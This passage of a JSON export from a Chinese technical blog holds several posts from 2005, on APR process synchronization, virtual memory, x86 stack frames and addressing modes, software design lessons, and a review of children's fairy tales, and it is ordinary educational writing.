*pthread_interproc;\n#endif\n};\n这样APR提供的用户接口其实就是对mech各个“成员函数”功能的“薄封装”，而真正干活的其实是apr_proc_mutex_t中的meth字段的“成员函数”，它们的工作包括mutex的创建、获取(加锁)和清除(解锁)等。以“获取锁”为例APR的实现如下：\nAPR_DECLARE(apr_status_t) apr_proc_mutex_lock(apr_proc_mutex_t *mutex)\n{\nreturn mutex-\u0026gt;meth-\u0026gt;acquire(mutex);\n}\n3、同步机制\n按照枚举类型apr_lockmech_e的声明，我们知道APR为我们提供了5种同步机制，下面分别简单说说：\n(1) 记录锁\n记录锁是一种建议性锁，它不能防止一个进程写已由另一个进程上了读锁的文件，它主要利用fcntl系统调用来完成锁功能的，记得在以前的一篇关于APR 文件I/O的Blog中谈过记录锁，这里不再详细叙述了。\n(2) 文件锁\n文件锁是记录锁的一个特例，其功能由函数接口flock支持。值得说明的是它仅仅提供“写入锁”(独占锁)，而不提供“读入锁”(共享锁)。\n(3) System V信号量\nSystem V信号量是一种内核维护的信号量，所以我们只需调用semget获取一个System V信号量的描述符即可。值得注意的是与POSIX的单个“计数信号量”不同的是System V信号量是一个“计数信号量集”。所以我们在注意的是在初始化时设定好信号量集的属性以及在调用semop时正确选择信号量集中的信号量。在APR的System V信号量集中只是申请了一个信号量。\n(4) 利用线程互斥锁机制\nAPR使用pthread提供的互斥锁机制。原本pthread互斥锁是用来互斥一个进程内的各个线程的，但APR在共享内存中创建了pthread_mutex_t，这样使得不同进程的主线程实现互斥，从而达到进程间互斥的目的。截取部分代码如下：\nnew_mutex-\u0026gt;pthread_interproc = (pthread_mutex_t *)mmap(\n(caddr_t) 0,\nsizeof(pthread_mutex_t),\nPROT_READ | PROT_WRITE, MAP_SHARED,\nfd, 0);\n(5) POSIX信号量\nAPR使用了POSIX有名信号量机制，从下面的代码中我们可以看出这一点：\n/* in proc_mutex.c */\napr_snprintf(semname, sizeof(semname), \u0026ldquo;/ApR.%lxZ%lx\u0026rdquo;, sec, usec); /* APR自定义了一种POSIX信号量命名规则，在源代码中有说明 */\npsem = sem_open(semname, O_CREAT, 0644, 1);\n4、如何使用\n我们知道父进程的锁其子进程并不继承。APR进程同步机制的一个典型使用方法就是：“Create the mutex in the Parent， Attach to it in the Child”。APR提供接口apr_proc_mutex_child_init在子进程中re-open the mutex。\n5、小结\nAPR提供多种锁机制，所以使用的时候要根据具体应用情况细心选择。\n","permalink":"https://tonybai.com/2005/12/02/apr-process-synchronization/","summary":"\u003cp\u003e最新的统计数据显示\u003ca href=\"http://apache.org\"\u003eApache\u003c/a\u003e服务器在全世界仍然占据着Web服务器龙头老大的位置，而且市场占有率遥遥领先，所以学习Apache相关知识是完全正确的方向，这里我们继续分析\u003ca href=\"http://apr.apache.org\"\u003eAPR\u003c/a\u003e进程同步相关内容。\u003c/p\u003e\n\u003cp\u003e进程同步的源代码的位置在$(APR_HOME)/locks目录下，本篇blog着重分析\u003ca href=\"http://en.wikipedia.org/wiki/Unix\"\u003eunix\u003c/a\u003e子目录下的proc_mutex.c、global_mutex文件内容，其相应头文件为$(APR_HOME)/include/apr_proc_mutex.h、apr_global_mutex.h。其用于不同进程之间的同步以及多进程多线程中的同步问题。\u003c/p\u003e\n\u003cp\u003eAPR提供三种同步措施，分别为：\u003cbr\u003e\napr_thread_mutex_t – 支持单个进程内的多线程同步；\u003cbr\u003e\napr_proc_mutex_t – 支持多个进程间的同步；\u003cbr\u003e\napr_global_mutex_t  – 支持不同进程内的不同线程间同步。\u003cbr\u003e\n在本篇中着重分析apr_proc_mutex_t。\u003c/p\u003e","title":"APR源代码分析-进程同步篇"},{"content":"如果它不存在，但是你能看见它 — 它是虚拟的(IBM宣传虚拟内存之用语)。虚拟内存技术是计算机发展史上的一项重要的技术，它帮助应用程序摆脱了“体积”的限制。\n记得上大学时，有一本书好像叫做“计算机网络 – 自顶向下”，全名记不太清了。书中从人们接触最多也最熟悉的“应用层”开始讲，一直讲到“物理层”，看完这本书后感觉效果不错。所以按照这种方法我也尝试着自上而下的去学习“虚存”，从我们最熟悉的C库接口调用说起，一直谈到底层的硬件支持设施。\n1、初学者的疑惑\n初学者往往都会写出以下这样的例子程序来学习malloc和free的使用。\nint main() {\nint *p = malloc(10000);\nprintf(\u0026ldquo;p\u0026rsquo;s address is 0x%p\\n\u0026rdquo;, p);\nfree(p);\nreturn 0;\n}\n但往往结果让这些初学者们感到疑惑。比如上述的例子，在SUN SPARC 64编译后其输出如下：\np\u0026rsquo;s address is 0x100100dc0\n看到这样的结果，初学者往往心里嘀咕，“这台机器物理内存才4G，其地址空间总共才4294967296(dec)，而0x100100dc0转换十进制为4296019392(dec)，这个地址明显已经超出了我的物理内存的限制，这是怎么回事呢？”。其实这里的解释很简单：因为我们看到的都是“虚拟内存地址”。\n2、“堆”为何物\nmalloc是个极其常见的内存分配接口函数，它主要负责运行时在“堆”上为程序动态分配内存空间。我们总是在口头上谈论着“堆”，那么“堆”到底为何物呢？我们已经知道了有“虚拟地址”这个东西的存在，想必“堆”和“虚拟地址”有着千丝万缕的联系^_^。我们来翻看一些经典书籍中的描述。在CSAPP[注1]中的描述是这样的：“堆是进程地址空间中的一段“虚拟地址”空间。在大多数的Unix系统中，堆是映射“二进制零区域(demand-zero)”实现的。其位置在bss段后，其增长方向为高地址方向”。\n3、内存映射\n前面谈到“demand-zero”这个新名词，那么什么叫“映射到demand-zero”呢？这里蕴含着一个极其重要的概念“内存映射”。内存映射好似一道桥梁，将放在物理磁盘上的对象和一段进程“虚拟地址”空间连接起来。磁盘上的对象，主要指的就是文件，在多数Unix的实现中支持两种文件的内存映射，分别为Regular File和匿名文件(如demand-zero)。映射的过程大致为将文件分成若干“虚拟内存基本单元(页)”大小存于“交换区”，直到CPU指令第一次访问到某个单元时，这个单元才真正被加载到物理内存中。\n4、虚拟内存，何方神圣\n看到这是不是有些“云里雾里”的感觉亚^_^。其实对于用户进程来说，它是看不到CPU和OS是如何相互配合完成内存管理的。它只认为它面前的是一个这样的情景：“一个完全被我拥有的CPU、一个从拥有M地址空间的物理内存(M = 2的n次方，n为地址总线宽度)…”。这里的用户进程眼中的“物理内存”实际就是“虚拟内存”。虚拟意味着假象，我们知道一个用户进程运行时可能仅仅占用的物理内存的一小部分。看来用户进程被欺骗了。而这个骗局是由操作系统和CPU共同布置的。为了让这个骗局一直维持下去，CPU和OS还是做了很多工作的，究竟有哪些工作呢？我们一一来看看。\n1) 交换区(swap)\n为了支持虚拟内存，操作系统在物理内存、磁盘之间交换数据的基本单元为“页”。页的大小是固定的，其因操作系统而异。这样一个用户进程在被加载之前首先要被分成若干个“页”，这些页存储在磁盘上。那么是不是进程启动后所有的页都被加载到物理内存中呢？答案是NO。在当前的Unix操作系统中，都有一个叫“交换区”的地方，“交换区”在磁盘上，它存储的是“已分配的虚拟内存页”。又有些糊涂是吧，什么叫已分配的页呢？一个进程虚拟内存页的加载流程大致是这样的：一旦用户进程一虚拟页需要被加载，则操作系统会在“交换区”中为该页分配一个页，一旦CPU访问的虚拟地址落入该页地址空间，则该页才被换入到物理内存中。在这个过程中虚拟页有多个状态，分别如下：\n未分配的 － 进程虚拟页未得到加载指令，仍安静的待在磁盘上；\n未缓存的 － OS为该进程虚拟页在交换区分配了一个空间，但是该虚拟页还未被引用；\n已缓存的 － 该虚拟页被引用，被载入到物理内存中。\n2) 换入换出\n物理内存容量有限，当物理内存无空间存储新的内存页的时候，就需要将某些内存页从物理内存中移出以为新页腾出空间。这个过程对于那些被移出的页来说，就叫“换出”；相反对于那些新加入到物理内存中的页来说就叫做“换入”。\n5、从缓存角度看虚存\n现代计算机的存储体系是呈金字塔状的。越接近顶层，速度越快，容量越小，价格越贵；越接近底层，速度越慢，容量越大，价格越低。这样就形成了一个逐级缓存的机制。第K层设备永远是第K+1层设备的缓存。按照这种说法，在早期计算机中，主存是磁盘的缓存，CPU内的高级Cache是主存的缓存。现代计算机基本都支持虚拟内存机制，而虚存页是存储在磁盘上的，虚存页在主存中换入换出。按照缓存的概念，虚存属于容量大，速度慢的第K+1层，而处于第K层的主存就可以看作是虚拟内存的缓存。那么一切缓存理论就都可以应用在虚存和物理内存之间了，比如换入换出算法等。\n6、硬件支持\n在支持虚拟内存机制的计算机中，CPU都是以虚拟地址形式生成指令地址或者数据地址的，而这个虚拟地址对于物理内存来说是不可见的，那么是谁来屏蔽这个差异的呢？答案是MMU(Memory Management Unit)。MMU负责将CPU发出的虚拟地址转换成相应的物理内存地址。MMU不是孤立工作的，OS为其提供了很好的支持，OS在物理内存中为MMU维护着一张全局的页表，来帮助MMU找到正确地物理内存地址。\n7、小结\n这里简短而概要的对虚存进行了说明，虚存机制很复杂，不是一句两句能说清楚的，还需要慢慢探索^_^\n[注1]\nCS.APP – 《computer systems a programmer\u0026rsquo;s perspective》 中文名：《深入理解计算机系统》。\n","permalink":"https://tonybai.com/2005/11/30/learn-virtual-mem-f/","summary":"\u003cp\u003e如果它不存在，但是你能看见它 — 它是虚拟的(IBM宣传虚拟内存之用语)。虚拟内存技术是计算机发展史上的一项重要的技术，它帮助应用程序摆脱了“体积”的限制。\u003c/p\u003e","title":"学习虚存-自上而下"},{"content":"不得不承认上次关于栈桢和栈操作写得有些笼统，这里做一次“补充”，美名其曰：“复习”。\n下面的这个例子几乎就能覆盖所有的栈操作相关的内容了。\nvoid dummy()\n{\nint i = 12;\nint j = 13;\nchar c = \u0026lsquo;a\u0026rsquo;;\n}\nint main()\n{\ndummy();\nreturn 0;\n}\n下面是利用MDB(注[1])反汇编的代码：\n\u0026gt; main::dis\nmain: pushl %ebp\nmain+1: movl %esp,%ebp\nmain+3: subl $8,%esp\nmain+6: andl $0xf0,%esp\nmain+9: movl $0,%eax\nmain+0xe: subl %eax,%esp\nmain+0×10: call -0x2a main+0×15: movl $0,%eax\nmain+0x1a: leave\nmain+0x1b: ret\n\u0026gt; dummy::dis\ndummy: pushl %ebp\ndummy+1: movl %esp,%ebp\ndummy+3: subl $0xc,%esp\ndummy+6: movl $0xc,-4(%ebp)\ndummy+0xd: movl $0xd,-8(%ebp)\ndummy+0×14: movb $0×61,-9(%ebp)\ndummy+0×18: leave\ndummy+0×19: ret\n分析上面的汇编代码我们要解决如下几个方面问题：\n1、过程调用的标准模式\n我们知道发生过程调用的指令是call，那么call做了些什么呢？上面每个过程的最后都有leave指令，它又作了什么呢？我们不妨来跟踪一个栈帧的形成过程，分析后自然会有答案。\n(1) 我们从main + 0×10处开始，这里是一个call指令，此时的活动栈帧为main的栈帧，dummy栈帧尚未形成：\n+ + 0xffffffff\n| |\n+———-+\n| | main的返回地址，属于main的调用者栈帧范畴\n+———-+ —————————\n| A | main栈帧栈底 \u0026lt;– %ebp\n+———-+\n| B |\n+———-+\n| C | main栈帧栈顶 \u0026lt;– %esp\n+———-+\n| |\n+ + 0×00000000\n(2) 调用call指令后，未执行dummy前，此时main的栈帧已经结束，%eip中存放dummy起始指令地址准备执行。\n+ + 0xffffffff\n| |\n+———-+\n| | main的返回地址，属于main的调用者栈帧范畴\n+———-+ —————————\n| A | main栈帧栈底 \u0026lt;— %ebp\n+———-+\n| B |\n+———-+\n| C |\n+———-+\n| | dummy的返回地址, main栈帧栈顶 \u0026lt;– %esp\n+———-+ —————————\n| |\n+ + 0×00000000\n可见call首先将main调用的函数(这里是dummy)的返回地址pushl到栈中，形成main栈帧的最后一个部分，然后跳到dummy的起始处。所以call等价于下面两条指令：\npushl %eip //将下一条指令地址压入栈中\njmp dummy\n(3) 形成dummy栈帧\ndummy首先将main的栈底保存起来，然后创建自己的栈底。\n+ + 0xffffffff\n| |\n+———-+\n| | dummy的返回地址，属于main的栈帧范畴\n+———-+ —————————\n| D | dummy栈帧栈底 \u0026lt;– %ebp，存储着main栈帧栈底\n+———-+\n| E |\n+———-+\n| F | dummy栈帧栈顶 \u0026lt;– %esp\n+———-+ —————————\n| |\n+ + 0×00000000\n(4) dummy返回\ndummy返回时调用的第一条指令leave，该指令相当于如下两条指令：\n指令1： movl %ebp %esp // 将%esp置到dummy栈桢首部\n该指令执行后状态如下：\n+ + 0xffffffff\n| |\n+———-+\n| | dummy的返回地址，属于main的栈帧范畴\n+———-+ —————————\n| D | dummy栈帧栈底 \u0026lt;– %esp \u0026lt;– %ebp\n+———-+\n| E |\n+———-+\n| F | dummy栈帧栈顶\n+———-+ —————————\n| |\n+ + 0×00000000\n指令2：popl %ebp\n该指令执行后状态如下：\n+ + 0xffffffff\n| |\n+———-+\n| | main的返回地址，属于main的调用者栈帧范畴\n+———-+ —————————-\n| A | main栈帧栈底 \u0026lt;— %ebp\n+———-+\n| B |\n+———-+\n| C |\n+———-+\n| | dummy的返回地址，main栈帧栈顶 \u0026lt;– %esp\n+———-+ —————————\n| D | dummy栈帧栈底\n+———-+\n| E |\n+———-+\n| F | dummy栈帧栈顶\n+———-+ —————————\n| |\n+ + 0×00000000\ndummy返回时调用的第二条指令ret，该指令相当于popl %eip，执行完内存栈的情况如下：\n+ + 0xffffffff\n| |\n+———-+\n| | main的返回地址，属于main的调用者栈帧范畴\n+———-+ —————————-\n| A | main栈帧栈底 \u0026lt;— %ebp\n+———-+\n| B |\n+———-+\n| C | \u0026lt;– %esp main栈帧栈顶\n+———-+\n| | dummy的返回地址\n+———-+ —————————\n| D | dummy栈帧栈底\n+———-+\n| E |\n+———-+\n| F | dummy栈帧栈顶\n+———-+ —————————\n| |\n+ + 0×00000000\n至此，main的栈桢又再次被恢复了。\n经过上面分析，得出过程调用标准模式如下：\npushl %ebp\nmovl %esp %ebp\n…\n//过程体\n…\nleave\nret\n其中ret和call对应，而leave则和最开始的那两句对应。\n2、访问局部变量\n在dummy的汇编码中我们可以清晰的看到对三个局部变量i,j,c的赋值语句：\nmovl $0xc,-4(%ebp)\nmovl $0xd,-8(%ebp)\nmovb $0×61,-9(%ebp)\n其三者有一个共同点就是“都是通过对%ebp的偏移来访问局部变量的”。\n3、局部变量的分配\n两个以上的局部变量的栈上分配涉及到栈内存的对齐问题，dummy的代码足以说明问题。我们在dummy的栈桢中分配了两个整型和一个char型变量，实际需要9个字节。那我们来看看汇编是否给我们只分配了9个字节呢？\nmovl %esp,%ebp\nsubl $0xc,%esp\nmovl $0xc,-4(%ebp)\n…\n可以看出subl $0xc,%esp一句在内存栈上为我们留出12个字节的空间，在char c的后面又多分了3个字节，以保证对后面的变量的地址访问是对齐的。\n4、对异构类型变量的分配和访问\n举例如下：\nstruct test_t {\nint i;\nint j;\nint a[3];\n};\nvoid dummy()\n{\nstruct test_t t;\nt.i = 11;\nt.j = 12;\nt.a[0] = \u0026lsquo;a\u0026rsquo;;\nt.a[1] = \u0026lsquo;b\u0026rsquo;;\nt.a[2] = \u0026lsquo;c\u0026rsquo;;\n}\nint main()\n{\ndummy();\nreturn 0;\n}\n\u0026gt; dummy::dis\ndummy: pushl %ebp\ndummy+1: movl %esp,%ebp\ndummy+3: subl $0×28,%esp\ndummy+6: movl $0xb,-0×28(%ebp)\ndummy+0xd: movl $0xc,-0×24(%ebp)\ndummy+0×14: movl $0×61,-0×20(%ebp)\ndummy+0x1b: movl $0×62,-0x1c(%ebp)\ndummy+0×22: movl $0×63,-0×18(%ebp)\ndummy+0×29: leave\ndummy+0x2a: ret\n与上面的例子不同的是这次为了存储一个test_t类型结构，栈居然留出了0×28(40d)大小的空间，在t.a[2]与%ebp之间留了0×14(20)个字节空闲。这里的原因不得而知。如果是为了对齐，那么这个代价着实不小。\n[注1]\n在X86平台的Solaris9上，GDB反汇编使用的语法与我们的稍有差异，而使用Solaris自带的MDB(The Modular Debugger)则和我们的汇编语法保持一致。顺便说一句MDB是一个强大的调试工具，在Sun公司的网站上有其详细的使用说明。\n","permalink":"https://tonybai.com/2005/11/24/assembly-series-review-stack-operation/","summary":"\u003cp\u003e不得不承认上次关于栈桢和栈操作写得有些笼统，这里做一次“补充”，美名其曰：“复习”。\u003c/p\u003e\n\u003cp\u003e下面的这个例子几乎就能覆盖所有的栈操作相关的内容了。\u003cbr\u003e\nvoid dummy()\u003cbr\u003e\n{\u003cbr\u003e\n        int     i = 12;\u003cbr\u003e\n        int     j = 13;\u003cbr\u003e\n        char    c = \u0026lsquo;a\u0026rsquo;;\u003cbr\u003e\n}\u003c/p\u003e","title":"汇编之路-复习栈操作"},{"content":"不知道“软件抽象”这个标题能否恰好表达出我想表达出的意思，暂且就起这个名字吧。随着工作经验的增加，对软件开发所涉及的技术知识体系的理解也渐渐地清晰（起码自己是这么感觉的^_^），思考了若干时间后，拿出来给自己一个和大家交流的机会。\n1、起源\n这个想法起源于一次项目方案讨论例会，会上我们的项目遇到了“存储资源瓶颈”，遂有同事提出一个类似“数据中心”的方案，但考虑到部门目前没有相关经验和数据供参考，大家就否定了这一想法，会上我也并不赞同这一方案。会后坐在电脑前仔细考量了一下，又想起以前部门一弟兄曾提出的“将业务和通讯协议分离”的想法，感觉这是一个很有“前途”的方案。考虑到部门目前的业务模式和软件类别，将“协议和存储”从各个系统中分离出来将是一个很“革命性”的做法。会后又和两位要好的“战友”探讨过这个问题，他们也一致赞同。虽然我们的想法是美好的，但是毕竟我们不是领导，我们也只能在私下“愤青”一把。\n2、观点\n“软件是存储、通信、UI（user interface）和业务逻辑的紧密结合体。”\na) 在软件的生命周期中，较稳定的是存储和通信，最易变化的是业务逻辑；\nb) 在软件的层次上，存储和通信一般处于底层，而业务逻辑处于最上层；\nc) 不同类别的软件，其侧重点有所不同。如对于应用程序，其关注点应该在“业务逻辑”。\n这些观点也许并不是什么新颖的，你可能在很多资料中都曾见到过类似的字眼儿。我觉得上面的观点有这么三点作用（现在我想到了三点^_^）。\na) 指导你的学习，制定你自己的学习计划。\n我自己也回顾了一下我入司后的学习历程，其实也都是围绕着这个观点。下面简单列举几个每个方面涉及的知识领域：\n存储 — 虚拟存储系统(自认为是存储技术的一次标志性技术，在《深入理解计算机系统》一书中有很好的阐述)、文件IO等。\n通信 — 内部通信包括进程IPC、线程管理等，这种通信技术较为成熟；外部通信包括TCP/IP、Socket等。\n业务逻辑 — 现在很多建模技术及软件过程都是围绕和针对业务逻辑的，如UML、RUP和敏捷过程等。\nUI — 这个并不是很熟悉，但我相信在这方面也有太多的知识和技巧了。\nb) 理解软件的发展\n软件技术发展依旧那么迅速，我们可以从上述四个方面来理解：\n存储 — 如微软即将在下一代操作系统中推出的新一代的文件系统、新一代数据库技术等；\n通讯 — 内部通讯技术经过几十年的发展已经趋于成熟，但是外部通信技术还在突飞猛进的发展，如分布式、IPV6、VOIP、及时通讯技术以及在更火爆的无线通讯领域的各种技术等等；\n业务逻辑 — 如Ivar最近提出的“主动软件”及SMART过程等；\nUI — 我关注的不多，不举例了。\nc) 思考你的设计\n就像我们的项目，更加清晰的设计就是将存储、通信方面都都分离出来作为底层的支撑系统。对应这四个方面思考你的设计，不知道你是否已经有了些许想法呢。\n3、小结\n写到这也许起名为“软件抽象”有些言过其实。但一时也想不出什么更加“地道贴切”的名字，就暂用它撑撑门面吧！^_^。\n","permalink":"https://tonybai.com/2005/11/21/software-abstraction/","summary":"\u003cp\u003e不知道“软件抽象”这个标题能否恰好表达出我想表达出的意思，暂且就起这个名字吧。随着工作经验的增加，对软件开发所涉及的技术知识体系的理解也渐渐地清晰（起码自己是这么感觉的^_^），思考了若干时间后，拿出来给自己一个和大家交流的机会。\u003c/p\u003e","title":"软件抽象"},{"content":"入司后连续做过几个项目。最近在做一个新的项目的设计的时候，突然想到是不是该把以前项目中一些好的设计想法应用到新的项目中，并且尽量减少在新的项目中遗留以前的不好的设计呢？那么以前的项目中哪些是值得我去借鉴，哪些又是应该去避免的呢？真的很遗憾，自己并没有系统的反思和总结过，这就是我写下这篇Blog的直接起因。\n一直在Unix平台下做设计和开发，所以下面谈的内容可能都有些局限性。作为设计原则本身，某些可能具有很强的通用性，而还有一些可能局限于某个平台、某个领域。这里我想到了以下几个方面(仅仅提出一些观点，而没有太关注具体的解决方法，给大家一个想象的空间^_^)：\n1、扩展\n扩展性在这里被我分为“性能扩展”和“功能扩展”两类。\n1) 性能扩展\n作为电信级系统，对其的性能要求肯定不会低。那么如何做性能扩展呢？有两种方法：提高单点处理能力（垂直扩展）和平行扩展。\n垂直扩展 – 简单说就是一个进程不够，我再加一个进程做同样的处理。问题出现了：如何做进程间的通讯？使用共享内存（最快的IPC）还是其他IPC方式呢？还是一个权衡的过程。\n水平扩展 – 简单说就是一台机器不够，我再加一台机器。咱们也时髦一把，弄个分布式。问题出现了：如何做分布式节点之间的通讯？目前流行soap，而且又有开源包，如gsoap，其唯一缺点也是致命缺点就是慢。所以我想大部分开发商还是使用自己的内部协议。另外分布式与钱还是挂钩的。分布式意味着需要更多的机器平台来承载我们的系统，机器是钱，对机器的服务也是钱。看来这也是大家都喜欢分布式的原因。\n2) 功能扩展：\n做电信软件，其面对的最大的问题可能就是“用户需求变化多端”这个问题，更有甚者就是“用户并不知道需求，需要你去引导用户”，这样就会给项目带来较大的风险。如何能在设计这一层来规避风险或者减小风险带来的损失呢？尽量划分清易变化的需求和较稳定的需求，采用面向接口编程的形式（记住面向接口并不是Java等语言的专利）。比如以动态链接的方式（有点plugin的意思）实现系统中那些易变化的功能模块。一旦用户需求改变，我们需要修改的只是一个动态链接库（即替换一个plugin）。\n2、隔离\n隔离是为了可测试和好维护。其缺点是可能带来性能上的缺失。\n1) 可测试性\n可测试性在当前可是衡量一个软件设计好坏的重要标准。大型程序，模块众多。首先应该想到的就是怎么做集成测试？集成测试可能需要把一个模块单独拿出来运行。这就需要我们在设计的时候使模块间的耦合性尽量小，比如我们可以采用文件或者MQ的方式来解除模块间的耦合。这样一旦模块A开发完毕，产生其输入数据的模块B还未完成，我们就可以使用模拟器来产生输入数据即可(生成文件或者手工写数据到MQ中)。\n2) 维护性\n软件脱离不了服务，服务也是钱，也算在软件的成本中。如果一个软件的维护成本过高，完全可能会使该项目赔本。可维护性高的一个很重要的指标就是能快速定位问题所在。隔离模块可以提高定位错误的效率。因为我们可以将某一模块从系统中拿出来，单独测试定位问题，一个一个的排查，而不是大海捞针般的在系统中胡乱撞。\n隔离还有一点很重要，就是尽可能的让每个模块能单独可运行（并不一定是独立程序），而无须依赖其他模块。\n3、灵活\n在我看来体现一个系统是否灵活，最重要的一点就是其配置文件设计的灵活性和合理性。\n1) 配置文件格式\n现在Java世界的配置文件基本已经被xml格式所垄断，而在C这边仍旧使用着传统的“key – value”格式。xml的多级配置是传统“key – value”不能比拟的。\n例如：\n# in \u0026ldquo;key – value\u0026rdquo; format\n[mqlist]\nname = testmq1;testmq2\n在传统配置文件中我们需要对name字串进行解析才能得到各个mq的名字。而且大多数读\u0026quot;key – value\u0026quot;的程序可能都有对value值长度的限制，也就是说我们不能无限制的增加mq的个数。在xml中不存在这样的问题。况且现在像expat这样的开源包对xml的支持也很好。建议在以后设计时向xml格式配置文件转移。\n2) 配置方式\n一个灵活的配置，会给系统维护和变更带来极大的方便。甚至可以通过修改配置来满足用户新的需求。另外集中配置和分散配置也是需要设计者考虑的问题。比如将整个系统做成一个大程序，并做集中配置，那么除非有动态配置更新程序，否则一旦配置更改，就需要重启整个系统。相反如果系统是一个小程序的集合，采取分散配置，这样针对每个小程序的配置修改只会影响到其自己，只需重启相应的程序即可。\n3) 配置粒度\n很难用定义解释这个问题，举个例子可能会有更好理解。比如按照一定的配置格式写一个文件(由若干行记录组成)。对文件格式的配置可能如下：\n粒度粗的配置\n粒度细的配置\n可以看出“粒度粗的配置”只支持到区分记录间的对齐方式和填充字节的差异性；而“粒度细的配置”则支持到区分字段间的对齐方式和填充字节的差异性。一旦需求发生变化，要求每条记录的字段间的alignment和padding可以不同的话，那么“粒度粗的配置”则不能满足需求，而“粒度细的配置”仅仅通过改变配置即可满足这个需求。从这个例子可以看出配置粒度粗细选择某种程度上可能会影响程序的扩展性，一般来说配置粒度细的程序扩展性要更好些。\n4、层次\n做设计一定要考虑层次，这里体会不多也就不多说了，总之有一点就是“在做设计的时候心中一定要有层次的概念”。\n5、小结\n给我的感觉：设计是一门权衡的艺术，相信通过上面的一些文字也可以不充分的论证这一点。本文仅仅是我在做过一些项目后的一些体会，并没有很牢固的理论基础。自己也正在计划着读一些关于架构设计方面的书，来提高一下自己的理论水平^_^。\n","permalink":"https://tonybai.com/2005/11/16/experience-after-some-design-practice/","summary":"\u003cp\u003e入司后连续做过几个项目。最近在做一个新的项目的设计的时候，突然想到是不是该把以前项目中一些好的设计想法应用到新的项目中，并且尽量减少在新的项目中遗留以前的不好的设计呢？那么以前的项目中哪些是值得我去借鉴，哪些又是应该去避免的呢？真的很遗憾，自己并没有系统的反思和总结过，这就是我写下这篇Blog的直接起因。\u003c/p\u003e","title":"tony说设计-实践后的体会"},{"content":"在sina“北京奥运吉祥物”发布专题中，发现吉祥物评审委员会有位评委是个童话故事家，叫“郑渊洁”，这个名字听起来很熟悉，在网上搜索后才知道，原来小时侯最喜欢看的《舒克和贝塔》就出自这位作家之手，心中顿时涌动着对其之敬仰之情，遂下载了一本“待补充”的《郑渊洁童话全集》开始拜读。\n虽已工作一载有余，但仍自认为“童心未泯”，暂且忘记工作的压力、生活上的不如意，进入郑叔叔的童话世界中，这简直就是一种享受。由于郑叔叔的童话作品数量庞大，遂只挑选了郑渊洁风靡童话世界的几部脍炙人口之作如《舒克和贝塔》、《大灰狼罗克》以及《皮皮鲁和鲁西西》系列。\n童话，原本就是为孩子们准备的丰盛大餐，其特点是故事情节简单，文字通俗易懂并与蕴含着无穷的快乐元素和教育意义。对于我这样的成年选手，读起童话来自然效率很高。\n《舒克与贝塔》故事情节较连续，篇幅也不小，而且童话中的主角是两只拥有活泼可爱的形象和正直无畏的品格的小老鼠，在我看来，舒克和贝塔在中国小朋友（和我同龄的80年代的那几代）的心目中的地位丝毫不亚于美国的那个米奇老鼠。看了《郑渊洁童话全集》中的“舒克与贝塔”后感觉自己小时侯好像并没有看全整部童话，这次正好弥补一下这个缺憾。\n对《大灰狼罗克》这部作品，我并不是非常的熟悉，隐隐约约好像记得这部作品是在前几年被搬上了荧屏的。罗克是一名“热心肠”的好大灰狼，在第一集中就看得出来。《大灰狼罗克》这部作品章节相对独立，而且其照比《舒克与贝塔》显得渺小的多。读完罗克的故事感觉有些情节是影射某些社会现实的，这样自然少了些童话故事的色彩，总体感觉不如《舒克与贝塔》。\n至于《皮皮鲁和鲁西西》系列，情节趋于科幻，也许是作者在创作的那个年代受到了当时“科幻”风的影响。记得小时候有一段时间荧幕上连续的上演《恐龙特急克塞号》、《变形金刚》、《霹雳贝贝》、《小龙人》等经典科幻作品。皮皮鲁身上有着现在孩子身上叛逆的性格，而且陶气、聪明和果敢，我想也正是这些才可以吸引儿童们的眼球，皮皮鲁和鲁西西系列是相对较晚的作品，所以自己关注的比较少。\n一口气说了这么一丁儿点自己内心的童话心声:)，感觉孩提时代的我们比现在的孩子们要幸福，有那么多经典的影视作品供我们选择去看，现在的儿童只能饱受那些垃圾作品的摧残，可怜！呵呵一家之言而已！^_^\n","permalink":"https://tonybai.com/2005/11/14/still-childish/","summary":"\u003cp\u003e在sina“北京奥运吉祥物”发布专题中，发现吉祥物评审委员会有位评委是个童话故事家，叫“郑渊洁”，这个名字听起来很熟悉，在网上搜索后才知道，原来小时侯最喜欢看的《舒克和贝塔》就出自这位作家之手，心中顿时涌动着对其之敬仰之情，遂下载了一本“待补充”的《郑渊洁童话全集》开始拜读。\u003c/p\u003e","title":"童心未泯"},{"content":"结构化程序的一个最基本的单元就是“函数”或者叫“过程”。在汇编这一层自然也相应的有支持这些概念的指令操作，如栈操作和栈帧的概念。\n首先这里要为“打开汇编之门”那篇blog补充一点的是：汇编语言是与机器相关，这里的一切都是基于IA-32机器平台的。\n1、寻址方式\n我们已经知道在操作数表示中有一种是用来指示内存地址的内容的，在GNU Assembly中指示内存地址有多种方式，这些方式被统称“寻址方式”。通用的寻址格式为：“Imm(Eb, Ei, s)”[1]。解释一下：该表达式的计算方式为Imm + R[Eb] + R[Ei] * s，这一串的结果是什么呢？是一个存储器的地址，操作指令通过该操作数表达式计算出来的内存地址来访问内存。\n由通用形式演化几种常见特殊形式如下：\n1) Imm – 注意与$Imm区别，后者为立即数，而前者是以立即数形式承载的一个内存地址，这种方式叫绝对寻址；\n2) (Ex) – 注意与Ex区别，后者为寄存器内容，而前者是以寄存器内容形式承载的一个内存地址，这种方式叫间接寻址；\n3) Imm(Eb) – 其表示结果是内存地址为Imm + R[Eb]；\n4) (Eb, Ei) – 其表示结果是内存地址为R[Eb] + R[Ei]；\n5) Imm((Eb, Ei) – 其表示结果是内存地址为Imm + R[Eb] + R[Ei]。\n2、寄存器使用\n在“打开汇编之门”中曾经提过虽然寄存器的专用性已经降低，但是某些寄存器还是有其专用场合的。GNU为我们制定了一个寄存器使用规则，规则规定：“%eax、%ecx和%edx是由调用者负责存储的，而%ebx、%ebi和%esi则由被调用者保护，而%esp和%ebp都是栈操作专用的”。\n3、栈操作\n栈，实际上是一块儿专用的内存区域，每个进程地址空间都有其专有的栈区。地球人都知道关于栈有两种操作：Push和Pop。相应的GNU Assembly分别定义了“pushl S”和“popl D”分别来完成压栈和出栈操作。每个操作都包含两个步骤：移动栈顶指针和数据传送。\npushl S R[%esp] \u0026lt;– R[%esp] – 4 ；M[R[%esp]]\u0026lt;– S\npopl D D \u0026lt;– M[R[%esp]]；R[%esp] \u0026lt;– R[%esp] + 4\n4、栈帧的形成\n提到函数或者过程调用就不能离开栈操作。而每个函数或者过程调用也都离不开一个叫“栈帧”的概念。栈是用来传递参数、保存返回结果等作用的，而栈帧则是1对1映射到某个过程调用的。栈帧由%ebp来标识。我们来看看一个例子，通过该例子看看栈帧里到底有些什么东西？\nvoid callee(int x, int y) {\nx = 1;\ny = 2;\n}\nvoid caller(int m, 